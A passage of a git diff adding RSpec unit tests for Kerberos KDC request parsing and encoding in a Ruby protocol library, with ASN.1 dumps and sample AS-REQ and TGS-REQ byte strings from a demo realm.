"doesn't decode enc_auth_data" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.enc_auth_data).to be_nil + end + + end + + context "when KdcRequestBody from a KRB_TGS_REQ message" do + it "returns the KdcRequestBody instance" do + expect(kdc_request_body.decode(sample_tgs_req)).to eq(kdc_request_body) + end + + it "decodes options" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.options).to eq(0x50800000) + end + + it "leaves cname as nil" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.cname).to be_nil + end + + it "decodes realm" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.realm).to eq('DEMO.LOCAL') + end + + it "decodes sname" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.sname.name_string).to eq(['krbtgt', 'DEMO.LOCAL']) + end + + it "decodes from" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.from.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes till" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.till.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes rtime" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.rtime.to_s).to eq('1970-01-01 00:00:00 UTC') + end + + it "decodes nonce" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.nonce).to eq(2053110444) + end + + it "decodes etype" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.etype).to eq([Rex::Proto::Kerberos::Crypto::RC4_HMAC]) + end + + it "decodes enc_auth_data" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.enc_auth_data.cipher.length).to eq(643) + end + end + end + + describe "#encode" do + context "when KdcRequestBody from a KRB_AS_REQ message" do + it "encodes KdcRequestBody correctly" do + kdc_request_body.decode(sample_as_req) + expect(kdc_request_body.encode).to eq(sample_as_req) + end + end + + context "when KdcRequestBody from a KRB_TGS_REQ message" do + it "encodes KdcRequestBody correctly" do + kdc_request_body.decode(sample_tgs_req) + expect(kdc_request_body.encode).to eq(sample_tgs_req) + end + end + end +end diff --git a/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb new file mode 100644 index 0000000000..834815cf33 --- /dev/null +++ b/spec/lib/rex/proto/kerberos/model/kdc_request_spec.rb @@ -0,0 +1,772 @@ +# -*- coding:binary -*- +require 'spec_helper' + +require 'rex/proto/kerberos' + +describe Rex::Proto::Kerberos::Model::KdcRequest do + + subject(:kdc_request) do + described_class.new + end + + let(:as_req) { 10 } + let(:tgs_req) { 12 } + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007ff9c1978200 + @infinite_length=false, + @tag=10, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1978250 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1979cb8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1979d58 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c1979d80>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1979bc8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1979c18 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c1979c40>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19793f8 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1979448 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1979740 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1979a10 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1979a60 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c1979a88>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19797b8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c1979948 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "0=\xA0\x03\x02\x01\x17\xA26\x044`\xAES\xA5\vV.Fa\xD9\xD6\x89\x98\xFCy\x9DEs}\r\x8Ax\x84M\xD7|\xC6P\b\x8D\xAB\"y\xC3\x8D\xD3\xAF\x9F^\xB7\xB8\x9BW\xC5\xC9\xC5\xEA\x90\x89\xC3cX">]>]>, + #<OpenSSL::ASN1::Sequence:0x007ff9c1979470 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1979678 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19796a0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19796c8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1979510 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c1979538 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="0\x05\xA0\x03\x01\x01\x00">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978318 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1978368 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1979290 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007ff9c19792b8 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="P\x80\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978fe8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1979038 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1979178 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19791a0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19791c8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1979060 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1979088 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c19790b0 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="juan">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978f20 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c1978f70 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978bb0 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1978c00 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c1978de0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1978e08 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c1978e58>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978ca0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c1978cc8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c1978d40 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff9c1978cf0 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978a20 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c1978a70 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978890 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c19788e0 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978728 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c1978750 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978610 + @infinite_length=false, + @tag=7, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1978638 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19786b0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c1978390 + @infinite_length=false, + @tag=8, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19783e0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c1978430 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19784a8>>]>]>]>]>]>]> +=end + let(:sample_as_req) do + "\x6a\x82\x01\x08\x30\x82\x01\x04\xa1\x03\x02\x01" + + "\x05\xa2\x03\x02\x01\x0a\xa3\x5f\x30\x5d\x30\x48\xa1\x03\x02\x01" + + "\x02\xa2\x41\x04\x3f\x30\x3d\xa0\x03\x02\x01\x17\xa2\x36\x04\x34" + + "\x60\xae\x53\xa5\x0b\x56\x2e\x46\x61\xd9\xd6\x89\x98\xfc\x79\x9d" + + "\x45\x73\x7d\x0d\x8a\x78\x84\x4d\xd7\x7c\xc6\x50\x08\x8d\xab\x22" + + "\x79\xc3\x8d\xd3\xaf\x9f\x5e\xb7\xb8\x9b\x57\xc5\xc9\xc5\xea\x90" + + "\x89\xc3\x63\x58\x30\x11\xa1\x04\x02\x02\x00\x80\xa2\x09\x04\x07" + + "\x30\x05\xa0\x03\x01\x01\x00\xa4\x81\x96\x30\x81\x93\xa0\x07\x03" + + "\x05\x00\x50\x80\x00\x00\xa1\x11\x30\x0f\xa0\x03\x02\x01\x01\xa1" + + "\x08\x30\x06\x1b\x04\x6a\x75\x61\x6e\xa2\x0c\x1b\x0a\x44\x45\x4d" + + "\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x1f\x30\x1d\xa0\x03\x02\x01\x01" + + "\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a\x44\x45" + + "\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa4\x11\x18\x0f\x31\x39\x37\x30" + + "\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa5\x11\x18\x0f\x31" + + "\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30\x5a\xa6\x11" + + "\x18\x0f\x31\x39\x37\x30\x30\x31\x30\x31\x30\x30\x30\x30\x30\x30" + + "\x5a\xa7\x06\x02\x04\x18\xf4\x10\x2c\xa8\x05\x30\x03\x02\x01\x17" + end + +=begin +#<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb438 + @infinite_length=false, + @tag=12, + @tag_class=:APPLICATION, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bb460 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c3830440 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c3830468 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c3830490>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c38303a0 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c38303c8 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c38303f0>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbfa0 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c3830008 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c38301c0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c3830288 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c38302b0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c38302d8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c38301e8 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c3830210 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "n\x82\x01\xD20\x82\x01\xCE\xA0\x03\x02\x01\x05\xA1\x03\x02\x01\x0E\xA2\a\x03\x05\x00\x00\x00\x00\x00\xA3\x82\x01\x10a\x82\x01\f0\x82\x01\b\xA0\x03\x02\x01\x05\xA1\f\e\nDEMO.LOCAL\xA2\x1F0\x1D\xA0\x03\x02\x01\x01\xA1\x160\x14\e\x06krbtgt\e\nDEMO.LOCAL\xA3\x81\xD10\x81\xCE\xA0\x03\x02\x01\x17\xA1\x03\x02\x01\x02\xA2\x81\xC1\x04\x81\xBEU\xE7E\xC3o\xA2(G\xAB\x9C\x86\x13\xEB\x1D\xA8\x98\xECg\x1C\x1F\x15Fk\xE0J\xF2M=\xF7\xE41zO\x15/`\xDD\x98\xA8\xE1\x97ko\xC1$Fl\xA9\x1E\xE26'\xE3\xFA\x99\f\x9Bw\f\xE2X\x02h\xC4T*,]lK\xC8\xBC\x04\x8F\nD'x\xDCK>\x01\xBE\xAC\xF7\x8EzP\xC6>w\xD9e$\xD5\x1A\x18\xA1\x84q\x85\x98/T\x8BV\xE3\xFB,\xE20\x84\x06UU\xEA1\x8B\x84\x00\xE3\x1A\xC3\xA8\xC2\xAC\xC0x?Ght\xCCb\xA6\xCF\xF4k\xAE\xAF'\xDE\x1AM\xB7\xA8\x9Fvzy*B\x12{\xD2\xBE\xC9\x98|D8@\xBDI\xCD>\xDCe\xC7\x8BD\xF5\xA5\xD4f\x0E\xFDX\x9D19'\xD7\xFC\x81\a\xA3*\x1C<\xA4\x81\xA40\x81\xA1\xA0\x03\x02\x01\x17\xA2\x81\x99\x04\x81\x96m\xB5\xEA5Q&\x94\xF51'\xD1\x00Y\xEDl\xBC ,\x89pz\x14t\xC9\x05\x85\a\xF76S\xCD\x80j\xA1b\xE6s:}q\x83\x1D\x93\xC6t\xC5o{q\x1D\xCE\xD3\vF\x8B\xC1\x13V\xE7\xEE\x8C\xA2\xCC\xA6x\xDE~\x80#9g\xD8,:j\x12> \xC5\xAA\xD0\xAE\xD5^\xB6|\x83f\xFC\xC5e\x1E\xEAb\x97Hh\xDA\x8Eb|\x065}\xC53%\xBC\x93\x8Ad\x16-\xF4\xDE|V\xD0;\x13O/\x86u\x14`\x80Mw\xEB\x04\b\xE6A \xEE\x16\x0F\xE2+v\xD5\x14`-\xF6\xA8\xDE\xF2\xB5">]>]>, + #<OpenSSL::ASN1::Sequence:0x007ff9c3830030 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c38300f8 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c3830120 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c3830148>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c3830058 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c3830080 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="0\x05\xA0\x03\x01\x01\x00">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb488 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bb4b0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbeb0 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::BitString:0x007ff9c19bbed8 + @infinite_length=false, + @tag=3, + @tag_class=:UNIVERSAL, + @tagging=nil, + @unused_bits=0, + @value="P\x80\x00\x00">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbe10 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c19bbe38 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbb90 + @infinite_length=false, + @tag=3, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bbbb8 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbd20 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19bbd48 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19bbd70>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bbbe0 + @infinite_length=false, + @tag=1, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bbc08 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::GeneralString:0x007ff9c19bbc80 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="krbtgt">, + #<OpenSSL::ASN1::GeneralString:0x007ff9c19bbc30 + @infinite_length=false, + @tag=27, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value="DEMO.LOCAL">]>]>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bba78 + @infinite_length=false, + @tag=4, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c19bbaa0 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb960 + @infinite_length=false, + @tag=5, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c19bb988 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb848 + @infinite_length=false, + @tag=6, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::GeneralizedTime:0x007ff9c19bb870 + @infinite_length=false, + @tag=24, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=1970-01-01 00:00:00 UTC>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb7a8 + @infinite_length=false, + @tag=7, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19bb7d0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19bb7f8>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb6b8 + @infinite_length=false, + @tag=8, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bb6e0 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19bb708 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19bb730>>]>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb4d8 + @infinite_length=false, + @tag=10, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Sequence:0x007ff9c19bb500 + @infinite_length=false, + @tag=16, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + [#<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb5c8 + @infinite_length=false, + @tag=0, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::Integer:0x007ff9c19bb5f0 + @infinite_length=false, + @tag=2, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value=#<OpenSSL::BN:0x007ff9c19bb618>>]>, + #<OpenSSL::ASN1::ASN1Data:0x007ff9c19bb528 + @infinite_length=false, + @tag=2, + @tag_class=:CONTEXT_SPECIFIC, + @value= + [#<OpenSSL::ASN1::OctetString:0x007ff9c19bb550 + @infinite_length=false, + @tag=4, + @tag_class=:UNIVERSAL, + @tagging=nil, + @value= + "\x8A0\x9D|\xA7\xE4\"6\rD\xF5\xD1:\x00\x8B7nR \xBC\xEA\x8Bpf\xC0\x90\xC4('1\xCF\x16,| |\xAA<\xE0\xC7j\xFB\xB9A\xB2\xD9\xA2\xD8Y\x92\xB5\x82\x17\x8A\x93VQ\x97\xF9\xAD\x1D\xC6\xC6\xBC\xA0D\x9B\xC5\xC1\xD81\xF1\x94\x887\v\xA5\xAFQ\xB0=\x9Am\xC0\xB2\xF1 3\xB7\x87z\xCF\xF7\xDE\xA0\x8B\x83\xAEvq8}BM\xDE\n\x03\xBE\xB7\x1C\xF4\x8C\x84\x165.`\xC4\x83\x17q\xE7\x00#\xFB\xA1\x01\xD3\xDA\xE0\x7F\xCD\x04=S\x85Nr\tc\xF4\x06\xD8Q\x15\xAB\x15\xECO\x80\xC5\xF3\xE2\x8A\x7F\x97\x0Fq\xED\f\xE9\x9F\x19\x14k=\x94J\xAE>\xB8\x1A3\xC4V\xCF6\xF8V\n\xE9\xAF\\\xB5B@r\xDE\xD5\x957\xA0\xE5\x93\xC32\xEF\x82\n\x0F\x1E\nu \xB6\x8D\xFC\xE2\xCE\xB3\x87\xDF\xA5\x04g\xF40\x1A\n\x198FZXF\xF44\xBA\xDBFN\xC4\xCC\xAA\xBC$\x85\xA5$\x84\x96\xA4uCF\x7F\x11\xCEG\x9F\xFA\x84\xCE\xB65\xCD\x95\x1E\x1D\x03\x88\x1D\xE3:S\x9B\xA5\e\x97\x83\xCF\xB3\x9E\x88\b\x86mH\x98\xEC\x8D\x83B\xAE\xC9\x92V\xD5\xA9\x90\x03G\xB8\xD7\x81\xF4n\x1Ems\x8A:\xC6\x0F\xB18\x99O\x06\x04\x11}\xA394\xA9\x9E\x8EH\xCCd\xF33<\v\x88>B\xF8t>\x92hg&\xEBF\xAA\xC81wK\xB1W\xEFI\xD3\x98\xF5S\xC0X\x19&\xB7\e\x8C\x17w\xBC\xE0 \xE9\x80\b\xE5\x92'rS \t\xC69\x02\x97K\nT\x8C-\f\xBDe\x9CaT\xEF\x90m\xC6Vb\xC8\x04\xD7k#\xD1\xB0\xC7\xE7\xE56\x96\x05\xF9F\x01\xC1\xAC\f\x96\x84\xAAl\x84X\xDE\xAD\xE72\x85,\xFD'\x1A\xDC9`\xBC^\r~\x1De\x7F!\xFA\xCD\xC30\xB3\xEE\x00\xC9\xF8\x1E\x0F\xB5g\x87\xA0\xAFF\xE3U\xFF\f\fc\x8E\xDB\xD9\x11\x9C\x17Z\x87\xB0\xF2QVb\x7F~dS\xAF\x04w\xFB\xEC\xA7\x96\x98\x93\x96\x109r\xF0D\xFAf\x7F\x00\xE0\xE9\x9F6\xBC\x81\x87.\xFBm\xC0\x9BR\xB2\x19\xA5\xBF\x8C\x0F3\x19\vA\xCE\xF5oo\xD7+\x04\xE0\xA7\xAD@2\x8D\xF3\xBE\x13\xC7\xC6!\xED#\x10\xC5\x1A\x9F\x82\x99b7q\xE4\xB8i\n\xA8\x88\xEB\xCB\xC0\x1C\xDFToLC\x90\x12\xCF)\xB0\xF1\xC9\xFDK^D\b%\x8DdE>\xBC~\xB1g\x80\xC39\x1E\xE8\xBF\xE0\x90p\xF8\x00\xCF\x18)\xABr\x01\fC\x02\v\x81{\x1A\xAC\xF5%3S\x86\xF5%\xEF\x7F\x1D\x1D\x05?\x128J?\x98\x03\xC8\x9F\xF3\x9B\x87\x80\xB2O\xCD==X\xB5">]>]>]>]>]>]>]> +=end + let(:sample_tgs_req) do + "\x6c\x82\x05\x30\x30\x82\x05\x2c\xa1\x03\x02\x01" + + "\x05\xa2\x03\x02\x01\x0c\xa3\x82\x01\xfe\x30\x82\x01\xfa\x30\x82" + + "\x01\xe3\xa1\x03\x02\x01\x01\xa2\x82\x01\xda\x04\x82\x01\xd6\x6e" + + "\x82\x01\xd2\x30\x82\x01\xce\xa0\x03\x02\x01\x05\xa1\x03\x02\x01" + + "\x0e\xa2\x07\x03\x05\x00\x00\x00\x00\x00\xa3\x82\x01\x10\x61\x82" + + "\x01\x0c\x30\x82\x01\x08\xa0\x03\x02\x01\x05\xa1\x0c\x1b\x0a\x44" + + "\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa2\x1f\x30\x1d\xa0\x03\x02" + + "\x01\x01\xa1\x16\x30\x14\x1b\x06\x6b\x72\x62\x74\x67\x74\x1b\x0a" + + "\x44\x45\x4d\x4f\x2e\x4c\x4f\x43\x41\x4c\xa3\x81\xd1\x30\x81\xce" + + "\xa0\x03\x02\x01\x17\xa1\x03\x02\x01\x02\xa2\x81\xc1\x04\x81\xbe" + + "\x55\xe7\x45\xc3\x6f\xa2\x28\x47\xab\x9c\x86\x13\xeb\x1d\xa8\x98" + + "\xec\x67\x1c\x1f\x15\x46\x6b\xe0\x4a\xf2\x4d\x3d\xf7\xe4\x31\x7a" + + "\x4f\x15\x2f\x60\xdd\x98\xa8\xe1\x97\x6b\x6f\xc1\x24\x46\x6c\xa9" + + "\x1e\xe2\x36\x27\xe3\xfa\x99\x0c\x9b\x77\x0c\xe2\x58\x02\x68\xc4" + + "\x54\x2a\x2c\x5d\x6c\x4b\xc8\xbc\x04\x8f\x0a\x44\x27\x78\xdc\x4b" + + "\x3e\x01\xbe\xac\xf7\x8e\x7a\x50\xc6\x3e\x77\xd9\x65\x24\xd5\x1a" + + 